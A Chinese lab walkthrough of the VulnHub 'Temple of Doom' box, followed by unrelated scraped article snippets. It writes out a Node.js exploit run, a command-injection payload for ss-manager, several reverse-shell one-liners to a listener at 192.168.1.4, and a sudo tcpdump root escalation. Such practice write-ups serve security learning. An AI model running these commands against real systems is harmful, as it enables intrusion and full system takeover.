Temple of Doom靶场nodejs获取shellss-manager漏洞tcpdump提权
下载链接:
Temple of Doom: 1 ~ VulnHub
下载完成后直接在vxbox中导入即可,网络链接模式根据自身情况而定(我采用的桥接模式)
正文:
先用nmap进行扫描靶机ip
nmap -sn 192.168.1.1/24

对192.168.1.5进行端口探测,并将结果保存到Temple文件夹下命名为port
nmap -p- 192.168.1.5 -r -PN -oA Temple/port
(-p-:对所有端口进行探测
-PN:用于禁用主机发现。这些参数告诉Nmap不要执行主机存活检测,而是直接扫描指定的目标
-oA:输出到指定位置
-r:连续扫描端口,并在扫描过程中随机排序目标端口。这可以帮助减少被网络防御系统检测到的风险。
)
nmap -p 22,666 192.168.1.5 -sC -sV -r -O --version-all -A -oA Temple/server
(-p:对指定的端口进行探测
-sV:版本信息
-sC:默认脚本扫描
-A:启动Os检测,版本检测,脚本扫描和traceroute
-O:探测操作系统信息
--version-all:尽可能多的探测信息)
我们发现并没有80端口
但是666端口为http服务,并且是node.js(java运行环境)
对666端口进行访问
除了这个就没有其他提示
使用bp抓包看能不能有发现
发现给到的cookie可能有猫腻(进行了加密)
将cookie进行base64解码
得到信息:
{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires=":Friday, 13 Oct 2018 00:00:00 GMT"}
该数据目前来说并没有多大作用
获取shell
根据nmap结果 在kali中搜索nodejs漏洞,看有没有可以用来利用的poc
searchsploit nodejs

符合我们要求的就是这个49552.py,将该文件复制出来,并进行查看
searchsploit nodejs -m 49552

cat 49552.py

对该exp进行修改
vim 49552.py

将url改为靶场host,并将反弹shell改为kali机的ip以及端口
保存退出
新建窗口,并对修改后的端口进行监听(我这里改为了8080)
nc -lvvp 8080

python2 49552.py #python3运行会因为兼容问题报错

回到nc监听窗口,反弹shell成功
查找具有suid权限的文件,看能否进行提权
find / -perm -u=s -type f 2>/dev/null

经过一番查看以及对计划任务查看,并没有我们可以利用的东西
但是我们在家目录发现了另一个用户
我们查看下该用户的进程有没有可以利用的东西
提权
ps aux | grep fireman

经过查询,该文件为多用户管理面板,并且有任意代码执行漏洞
详情可以看这篇文章【漏洞预警】 SHADOWSOCKS-LIBEV 命令执行漏洞|NOSEC安全讯息平台 - 白帽汇安全研究院
在当前shell中 用nc监听本地的8839端口(UDP)(不是返回到kali新窗口中)
nc -u 127.0.0.1 8839

使用一下命令进行尝试看是否生效,该命令如果执行成功会在/tmp目录下创建evil文件
add: {"server_port":8003, "password":"test", "method":"||touch /tmp/evil||"}


命令执行成功
因为该文件(ss-manager)为fireman用户所有,所以我们可以利用该漏洞再次进行反弹shell操作
这样我们就可以获取到fireman用户
更改代码后方的创建文件命令替换为反弹shell命令进行尝试
在kali中打开新窗口进行监听(未被占用的端口)
nc -lvvp 7789
在刚才的shell窗口输入
add: {"server_port":8003, "password":"test", "method":"||sh -i >& /dev/tcp/192.168.1.4/7789 0>&1||"}
(不要忘记该代码后的 “ || ”)
反弹成功,并且用户为fireman
查看可以root权限运行的文件(之前用户并不具有该权限)
sudo -l

发现该文件具有tcpdump权限(可以在该网站中查询使用方法以及其他命令的提权方式。包括但不仅限于suid、sudoGTFOBins)
根据内容我们来进行提权($符号为变量符号,需要我们根据自己的需求进行更改)
该提权方法同样也是通过反弹shell进行提权
先在文件中写入反弹shell(同样需要一个未被占用的端口进行监听)
将文件写入到/tmp目录下(该目录下通常权限较高)
echo "sh -i >& /dev/tcp/192.168.1.4/2233 0>&1" > /tmp/shell.sh

并给该文件运行权限
chmod +x shell.sh
利用tcpdump文件进行运行(需要提前打开nc对2233端口进行监听)
nc -lvvp 2233

我们需要对提供的命令进行小幅度修改
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root
改为
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root
(解释:网络接口 (`-i`参数):第一个命令(`sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root`)使用的是`lo`(本地回环)网络接口进行数据包捕获,而第二个命令(sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root)使用的是`eth0`网络接口进行数据包捕获。`eth0`一般是指物理网卡接口,而`lo`是指本地回环接口,用于本地通信)
所以我们采用修改后的命令
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root


提权成功
用修改前的命令同样可以提权成功,但是原理比较复杂
同样打开nc监听2233端口
nc -lvvp 2233
打开fireman窗口,这次我们输入第一条命令
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root

此时两个窗口都没有反应,返回到我们最初的用户窗口
即该窗口,我们可以看到当我们使用ss-manager文件进行反弹shell时并没有返回”ok“,然后我们需要将fireman的shell断开(ctrl+c),,该位置才会返回”ok“
此时,我们再返回到最后的监听窗口会发现反弹shell成功
具体的原理我还是跟模糊,希望有大佬可以解答一下,我个人猜测应该是我们第一次反弹fireman用户的shell时没有断开就再次利用该用户反弹root的shell会造成一个占用吧.....所以nc会一直进行监听,但是fireman用户因为是占用状态所以没有办法进行反弹(个人猜测,希望大佬指正!)
相关文章:
Temple of Doom靶场nodejs获取shellss-manager漏洞tcpdump提权
下载链接: Temple of Doom: 1 ~ VulnHub 下载完成后直接在vxbox中导入即可,网络链接模式根据自身情况而定(我采用的桥接模式) 正文: 先用nmap进行扫描靶机ip nmap -sn 192.168.1.1/24 对192.168.1.5进行端口探测&a…...
day03_mysql_课后练习 - 参考答案
文章目录 day03_mysql_课后练习mysql练习题第1题第2题第3题第4题第5题 day03_mysql_课后练习 mysql练习题 第1题 案例: 1、创建一个数据库:day03_test01_school 2、创建如下表格 表1 Department表的定义 字段名字段描述数据类型主键外键非空唯一D…...
creator-webview与Android交互
title: creator-webview与Android交互 categories: Cocos2dx tags: [cocos2dx, creator, webview, 交互] date: 2024-03-23 13:17:20 comments: false mathjax: true toc: true creator-webview与Android交互 前篇 Android:你要的WebView与 JS 交互方式 都在这里了…...
22.WEB渗透测试-BurpSuite(一)
免责声明:内容仅供学习参考,请合法利用知识,禁止进行违法犯罪活动! 内容参考于: 易锦网校会员专享课 上一个内容:21.WEB渗透测试-HTTP协议(下)-CSDN博客 工具的使用需要先搭建靶场…...
前端性能优化:防抖与节流
一、防抖和节流主要是干什么的 防抖和节流主要用于控制函数执行的频率,通过限制函数的触发次数,避免函数被过度调用而引发的性能问题或产生不必要的副作用。 二、防抖 防抖是什么: 1、对于在事件被触发 n 秒后再执行的回调 --> 延迟执行 2、如果…...
Copilot 编程助手的介绍及使用
介绍 Copilot 是2021年由 GitHub 与 OpenAI 合作研发的一款编程助手,同时也是全球首款使用OpenAI Codex模型(GPT-3后代)打造的大规模生成式AI开发工具。 Copilot 底层模型目前经过了数十亿行公开代码的训练,与大多数代码辅助工具…...
数据库专题(oracle基础和进阶)
前言 本专题主要记录自己最近学的数据库,有兴趣一起补习的可以一起看看,有补充和不足之处请多多指出。希望专题可以给自己还有读者带去一点点提高。 数据库基本概念 本模块有参考:数据库基本概念-CSDN博客 数据库管理系统是一个由互相关联的…...
web蓝桥杯2022省赛真题:水果拼盘
代码及注释: /* TODO:待补充代码 */ #pond {display: flex; //flex布局flex-direction: column; //主轴方向从上到下flex-wrap: wrap; //子元素换行 } 知识点: flex弹性布局 父元素:diasplay: flex; flex-d…...
Web核心
目录 Web核心HTTP概念:协议特点:请求数据格式响应数据格式 Tomcat简介基本使用配置部署项目IDEA中创建 Maven Web 项目 IDEA使用Tomcat Servlet简介快速入门执行流程生命周期体系结构Servlet urlPattern配置一个Servlet,可以配置多个 urlPatt…...
iOS应用审核问题解决方案及优化方法 ✨
摘要 本文将针对iOS应用提交审核时可能遇到的问题,如“你必须在Xcode中添加com.apple.developer.game-center密钥”,以及突然间提交送审报错情况进行探讨。通过大量查询资料和尝试,结合案例分析,提供了解决方案和优化方法…...
java post、get请求第三方https接口
java post、get请求第三方https接口 前段时间做项目新加功能由于要对接其它系统,请求系统接口传输数据。写完后发现我写的这个方法和网上现有的例子有点不太一样,可能是因为我做的项目是政务网的原因,但我想正常的即便是互联网的系统请求方式…...
【C语言】鸡兔同笼,鸡和兔共 100 只,共 284 只脚,求鸡和兔的个数。
鸡兔同笼,鸡和兔共 100 只,共 284 只脚,求鸡和兔的个数。 int main() {for (int i 0; ; i){if (2 * i 4 * (100 - i) 284){printf("鸡的数量:%d,兔子的数量:%d", i, 100 - i);break;} } }这里直接算出题…...
沪漂8年回郑州三年如何走上创业之路
大家好,我是大牛,目前人在郑州。 现在标签是: 创业者🚗🐸 (注册有自己的公司,主要是为了自己的产品和接外包项目)独立开发者👨🏻💻 (有自己的小项目)数字游民&…...
MySQL数据库—事务与存储类型
一、事务: 1.事务的概念: 事务是一种机制、一个操作序列,包含了一组数据库操作命令,并且把所有的命令作为一个整体一起向系统提交或撤销操作请求,即这组数据库命令要么都执行,要么都不执行。事务是一个不…...
蓝桥杯刷题8
1. 世纪末的星期 import java.util.Calendar; public class Main {public static void main(String[] args) {Calendar calendar Calendar.getInstance();for(int year 1999;year<100000;year100){calendar.set(Calendar.YEAR,year);calendar.set(Calendar.MONTH,11);cale…...
Java中的String字符串练习
目录 Java中的String字符串练习 01-用户登录 02-遍历字符串并统计字符个数 03-字符串拼接 04-字符串反转 注意点 05-金额转化(简单) 代码解释: 06-手机号屏蔽 07-身份证号码查看 易错点: 08-敏感词替换 01-用户登录 package com.xiaonan.exercise06;import java.u…...
基于JavaWeb SSM mybatis 学生信息管理系统设计和实现以及文档报告
基于JavaWeb SSM mybatis 学生信息管理系统设计和实现以及文档报告 博主介绍:多年java开发经验,专注Java开发、定制、远程、文档编写指导等,csdn特邀作者、专注于Java技术领域 作者主页 央顺技术团队 Java毕设项目精品实战案例《1000套》 欢迎点赞 收藏 …...
二进制源码部署mysql8.0.35
二进制部署mysql8.0.35 创建mysql用户 [rootzyq ~]#: useradd -r -s /sbin/nologin -M mysql [rootzyq ~]#: id mysql uid990(mysql) gid990(mysql) groups990(mysql)上传mysql文件 [rootzyq ~]#: ls anaconda-ks.cfg mysql-8.0.35-linux-glibc2.28-x86_64.tar.xz解压 [roo…...
PHP 读取嵌入式数据 SQLite3
SQLite3 属于轻量级开源的嵌入式关系型数据库,但它支持 ACID(Atomicity,Consistency,Isolation,Durability) 事务。 SQLite Download Page: https://www.sqlite.org/download.html 第一步:在 php.ini 中开启 extensionsqlite3 第二步:连接数…...
【代驾+顺风车+货运】全开源双端APP代驾+顺风车+货运代驾小程序源码
内容目录 一、详细介绍二、效果展示1.部分代码2.效果图展示 一、详细介绍 系统是基于Thinkphpuniapp开发的,全开源未加密,这套源码可以拿回去自己做二开 后台用户端司机端 功能详情介绍: 车主实名认证,驾驶证认证,车…...
从WWDC看苹果产品发展的规律
WWDC 是苹果公司一年一度面向全球开发者的盛会,其主题演讲展现了苹果在产品设计、技术路线、用户体验和生态系统构建上的核心理念与演进脉络。我们借助 ChatGPT Deep Research 工具,对过去十年 WWDC 主题演讲内容进行了系统化分析,形成了这份…...
循环冗余码校验CRC码 算法步骤+详细实例计算
通信过程:(白话解释) 我们将原始待发送的消息称为 M M M,依据发送接收消息双方约定的生成多项式 G ( x ) G(x) G(x)(意思就是 G ( x ) G(x) G(x) 是已知的)࿰…...
【解密LSTM、GRU如何解决传统RNN梯度消失问题】
解密LSTM与GRU:如何让RNN变得更聪明? 在深度学习的世界里,循环神经网络(RNN)以其卓越的序列数据处理能力广泛应用于自然语言处理、时间序列预测等领域。然而,传统RNN存在的一个严重问题——梯度消失&#…...
Leetcode 3577. Count the Number of Computer Unlocking Permutations
Leetcode 3577. Count the Number of Computer Unlocking Permutations 1. 解题思路2. 代码实现 题目链接:3577. Count the Number of Computer Unlocking Permutations 1. 解题思路 这一题其实就是一个脑筋急转弯,要想要能够将所有的电脑解锁&#x…...
vue3 定时器-定义全局方法 vue+ts
1.创建ts文件 路径:src/utils/timer.ts 完整代码: import { onUnmounted } from vuetype TimerCallback (...args: any[]) > voidexport function useGlobalTimer() {const timers: Map<number, NodeJS.Timeout> new Map()// 创建定时器con…...
Spring Boot+Neo4j知识图谱实战:3步搭建智能关系网络!
一、引言 在数据驱动的背景下,知识图谱凭借其高效的信息组织能力,正逐步成为各行业应用的关键技术。本文聚焦 Spring Boot与Neo4j图数据库的技术结合,探讨知识图谱开发的实现细节,帮助读者掌握该技术栈在实际项目中的落地方法。 …...
Python如何给视频添加音频和字幕
在Python中,给视频添加音频和字幕可以使用电影文件处理库MoviePy和字幕处理库Subtitles。下面将详细介绍如何使用这些库来实现视频的音频和字幕添加,包括必要的代码示例和详细解释。 环境准备 在开始之前,需要安装以下Python库:…...
Web中间件--tomcat学习
Web中间件–tomcat Java虚拟机详解 什么是JAVA虚拟机 Java虚拟机是一个抽象的计算机,它可以执行Java字节码。Java虚拟机是Java平台的一部分,Java平台由Java语言、Java API和Java虚拟机组成。Java虚拟机的主要作用是将Java字节码转换为机器代码&#x…...
(一)单例模式
一、前言 单例模式属于六大创建型模式,即在软件设计过程中,主要关注创建对象的结果,并不关心创建对象的过程及细节。创建型设计模式将类对象的实例化过程进行抽象化接口设计,从而隐藏了类对象的实例是如何被创建的,封装了软件系统使用的具体对象类型。 六大创建型模式包括…...
Vite中定义@软链接
在webpack中可以直接通过符号表示src路径,但是vite中默认不可以。 如何实现: vite中提供了resolve.alias:通过别名在指向一个具体的路径 在vite.config.js中 import { join } from pathexport default defineConfig({plugins: [vue()],//…...
